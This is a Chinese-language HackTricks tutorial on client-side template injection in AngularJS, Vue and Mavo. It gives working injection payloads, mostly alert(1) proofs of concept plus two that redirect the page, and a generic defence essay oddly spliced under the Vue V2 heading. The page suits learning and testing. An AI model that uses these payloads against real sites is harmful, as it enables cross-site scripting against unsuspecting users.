9.5 KiB
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
-
发现我们的独家NFTs收藏品The PEASS Family
-
加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
-
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。
概要
这类似于服务器端模板注入(ssti-server-side-template-injection/),但是在客户端中。SSTI可以让你在远程服务器上执行代码,而CSTI可以让你在受害者中执行任意的JavaScript代码。
测试这个漏洞的方法与SSTI的情况非常相似,解释器会期望在双大括号之间执行某些内容并执行它。例如,使用类似于{{ 7-7 }}
的内容,如果服务器存在漏洞,你将看到一个0
,如果没有漏洞,你将看到原始内容:{{ 7-7 }}
AngularJS
AngularJS是一个流行的JavaScript库,它会扫描包含**ng-app
属性(也称为AngularJS指令)的HTML节点的内容。当将指令添加到HTML代码中时,你可以在双大括号中执行JavaScript表达式。
例如,如果你的输入在HTML的body中反射**,并且body定义了ng-app
:<body ng-app>
你可以使用大括号在body中添加任意的JavaScript代码:
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
您可以在http://jsfiddle.net/2zs2yv7o/找到一个非常基本的在线示例,展示了AngularJS中的漏洞。
{% hint style="danger" %}
Angular 1.6已移除了沙箱,因此从该版本开始,像{{constructor.constructor('alert(1)')()}}
或<input ng-focus=$event.view.alert('XSS')>
这样的有效载荷应该可以使用。
{% endhint %}
VueJS
您可以在https://vue-client-side-template-injection-example.azu.now.sh/找到一个易受攻击的vue.js实现。
这里是易受攻击示例的源代码:https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
一个关于VUE中CSTI的非常好的帖子可以在https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets找到
V3
{{_openBlock.constructor('alert(1)')()}}
V2
客户端模板注入 (Client-Side Template Injection)
在许多现代Web应用程序中,客户端模板引擎被广泛使用来动态生成HTML页面。这些模板引擎允许开发人员将数据和模板结合起来,以生成最终的HTML输出。然而,如果不正确地使用或配置,客户端模板引擎可能会导致安全漏洞,其中最常见的是客户端模板注入(Client-Side Template Injection,CSTI)。
什么是客户端模板注入?
客户端模板注入是一种攻击技术,利用了客户端模板引擎的漏洞,允许攻击者在Web应用程序的前端代码中执行任意代码。这种攻击通常发生在模板引擎使用用户提供的数据来生成HTML输出时。
如何利用客户端模板注入?
攻击者可以通过在用户输入中注入恶意模板代码来利用客户端模板注入漏洞。这些恶意模板代码将被模板引擎解析和执行,从而导致攻击者能够执行任意代码。
客户端模板注入的危害性
客户端模板注入漏洞可能导致以下危害:
- 执行任意代码:攻击者可以在受影响的Web应用程序上执行任意代码,包括JavaScript代码。
- 敏感信息泄露:攻击者可以访问和窃取应用程序中的敏感信息,如用户凭据、会话令牌等。
- 跨站脚本攻击(XSS):攻击者可以注入恶意脚本,从而导致XSS攻击。
- 绕过安全控制:攻击者可以利用客户端模板注入漏洞绕过应用程序的安全控制,例如访问未授权的功能或执行未经授权的操作。
如何防御客户端模板注入?
要防御客户端模板注入漏洞,可以采取以下措施:
- 输入验证和过滤:对用户输入进行严格的验证和过滤,以防止恶意模板代码的注入。
- 安全配置:正确配置和使用模板引擎,避免将用户提供的数据直接传递给模板引擎。
- 最小权限原则:将模板引擎的执行权限限制在最低限度,以减少潜在的攻击面。
- 安全编码实践:遵循安全编码实践,如避免使用eval()函数和动态执行用户输入的代码。
结论
客户端模板注入是一种常见的Web应用程序安全漏洞,可以导致严重的安全风险。开发人员和安全专业人员应该了解这种漏洞的工作原理,并采取适当的防御措施来保护Web应用程序免受此类攻击。
{{constructor.constructor('alert(1)')()}}
Credit: Mario Heiderich
在 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected 中查看更多VUE有效载荷
Mavo
有效载荷:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
更多有效载荷请参考 https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
暴力检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
你在一家网络安全公司工作吗?想要在 HackTricks 中宣传你的公司吗?或者你想要获取最新版本的 PEASS 或下载 HackTricks 的 PDF吗?请查看订阅计划!
-
发现我们的独家 NFTs 集合 The PEASS Family
-
加入 💬 Discord 群组 或 Telegram 群组,或者在 Twitter 上关注我 🐦@carlospolopm。
-
通过向 hacktricks 仓库 和 hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。